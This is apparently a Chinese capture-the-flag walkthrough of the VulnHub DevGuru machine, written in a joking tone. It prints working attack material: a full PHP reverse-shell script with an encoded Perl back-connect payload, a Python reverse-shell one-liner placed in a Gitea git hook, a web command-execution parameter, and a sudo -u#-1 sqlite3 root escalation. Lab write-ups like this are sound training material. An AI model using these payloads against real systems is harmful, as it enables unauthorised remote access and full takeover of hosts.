甲、前言
靶場地址:https://www.vulnhub.com/entry/devguru-1,620/
難度:中級
devguru是我做的第二個vulnhub靶場,實在是由於個人對linux提權的了解實在匱乏。但思前想后還是點擊了下載按鈕,這便有了這次小白向過關教程。
乙、信息搜集
開機后上來就是一通掃,很快啊。
- namp
好家伙直接到手8585端口gitea登陸頁面。
http://172.31.131.206:8585/user/login gitea登錄
- dirsearch掃描目錄
http://172.31.131.206/adminer.php sql登錄頁面
http://172.31.131.206/.git/index
http://172.31.131.206/.git/HEAD
http://172.31.131.206/.git/config
http://172.31.131.206/refs/heads/master
中間件為Octobercms,百度搜集登陸地址為
http://172.31.131.206/backend/backend/auth/signin Octobercms登錄
上來就收獲三個登錄框。我不禁理解了皇上晚上翻拍時的無奈,這該如何選擇呢。
正在這內心交戰時刻,突然看到一個水靈的宮女緩緩從身邊走過入了園內,探頭望去園內竟然是一片旖旎之色,一覽無余。原來這宮女名為’計嬡悌‘,是內宮里有名的小鴇,靠替人引路來謀生。不妨前去一探究竟。
- git-dumper
.git可以嘗試git泄露,來獲取文件
項目地址:
https://github.com/arthaud/git-dumper
獲取到如下文件
查看配置文件找到數據庫信息。
丙、獲取shellx01
在這衣帶漸寬之刻,哪有不入之道理?
訪問http://172.31.131.206/adminer.php進行登錄
嘗試解密frank密碼,但用john解密失敗。
這里轉變思路,新建用戶並且分配管理員權限來登陸系統。
新建用戶aaa
進去后發現權限不夠,新建userid為2,group_id為1的組數據。
登錄成功
我giao,竟然在這關鍵時刻沒有小外套(shell)(手動滑稽
查找octobercms的漏洞,發現有上傳點和新建webshell文件漏洞,但都修復了無法利用。
后來在外網找到相關的利用方式,編輯home文件,然后訪問時get傳參來執行shell。
訪問主頁,http://172.31.131.206/?cmd=id
直接執行bash反彈和python反彈都無用,在本地搭建web,上傳構造的php文件,執行下載操作,獲取webshell。
這里可以直接上傳哥斯拉php,也可以上傳php反彈shell文件。
這里附上mdxy-dxy的php反彈shell碼
<?php function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr); } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function cf($fname,$text){ if($fp=@fopen($fname,'w')) { @fputs($fp,@base64_decode($text)); @fclose($fp); } } $yourip = "your IP"; $yourport = 'your port'; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; cf('/tmp/.bc',$back_connect); $res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); ?>
Php反彈
哥斯拉
嘗試提權,奈何技術太菜,沒門路。
繼續獲取其他登錄頁面賬戶密碼信息,只剩下gitea的了。
丁、獲取shellx02
哼,無趣
果然么,到了這一步還是要去找“計嬡悌”領取小外套,這次怕是得脫層皮了
獲取gitea數據庫密碼
登陸后查看表信息
密碼是加密的,理論上可以在源碼上找到加密方式,來編寫解密代碼,但本人代碼能力太菜,就按最無腦的方法來做了。本地搭gitea,然后復制加密后的密碼。
本地搭建gitea(參考:https://docs.gitea.io/zh-cn/database-prep/),設置賬戶密碼。123456
sql語句如下
(`id`, `lower_name`, `name`, `full_name`, `email`, `keep_email_private`, `email_notifications_preference`, `passwd`, `passwd_hash_algo`, `must_change_password`, `login_type`, `login_source`, `login_name`, `type`, `location`, `website`, `rands`, `salt`, `language`, `description`, `created_unix`, `updated_unix`, `last_login_unix`, `last_repo_visibility`, `max_repo_creation`, `is_active`, `is_admin`, `is_restricted`, `allow_git_hook`, `allow_import_local`, `allow_create_organization`, `prohibit_login`, `avatar`, `avatar_email`, `use_custom_avatar`, `num_followers`, `num_following`, `num_stars`, `num_repos`, `num_teams`, `num_members`, `visibility`, `repo_admin_change_team_access`, `diff_view_style`, `theme`, `keep_activity_private`) VALUES (1, '123', '123', '', '123@qq.com', 0, 'enabled', '9d5bbc4a2ab4b20d893be05f9f1299444891dee8945dff50c93be9af174dae68a527d1851d136bcbcdf86fc3e0da9b9981e2', 'argon2', 0, 0, 0, '', 0, '', '', '2NazllYHad', 'H2MRF5mpEj', '', '', 1608889331, 1608889904, 0, 0, -1, 1, 1, 0, 0, 0, 1, 0, '', '123@qq.com', 0, 0, 0, 0, 0, 0, 0, 0, 0, '', 'gitea', 0);
起初只復制了passwd,結果登陸不上,搜索后發現密碼生成和salt、hash_algo有關,就直接復制本地表內容覆蓋原內容了。保存后成功利用修改后的密碼登錄gitea
開始在gitea中getshell。
編輯git hook,添加以下命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
至於這里為什么是python3,因為在webshell中查到安裝的是python3
這里通過python反彈shell
提交項目更改信息,反彈frank用戶shell
戊、提權
經過辛勞奮戰,終於從“計嬡悌”手中奪得了小外套。
下一步准備發射shell.
內核漏洞提權,查無此漏洞
SUID 提權,沒有給出建議
查看sudo權限下用戶
在https://gtfobins.github.io/上查詢linux下關於sqlite3的提權漏洞
用戶使用sudo時會要求輸入密碼,這個無解。靈機一動,查看sudo版本,搜索
啊,靈感來了,走你
Sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
酥服了!!
己、總結:
1.就這個靶場而言,每個小關卡都很有意思(可能只有我這種菜雞才覺得有意思)。權限提升不一定要一步到位,也可能需要你慢慢琢磨,從一個平台跳到另一個平台,逐步提權.
2.代碼審計很重要,如果能從git項目中找到加密代碼來進行解密,就不需要去花費時間搭啥gitea。
3.“面向搜索引擎”滲透雖然很可笑,但是小白成長到大佬的必備過程,多從外網找找答案。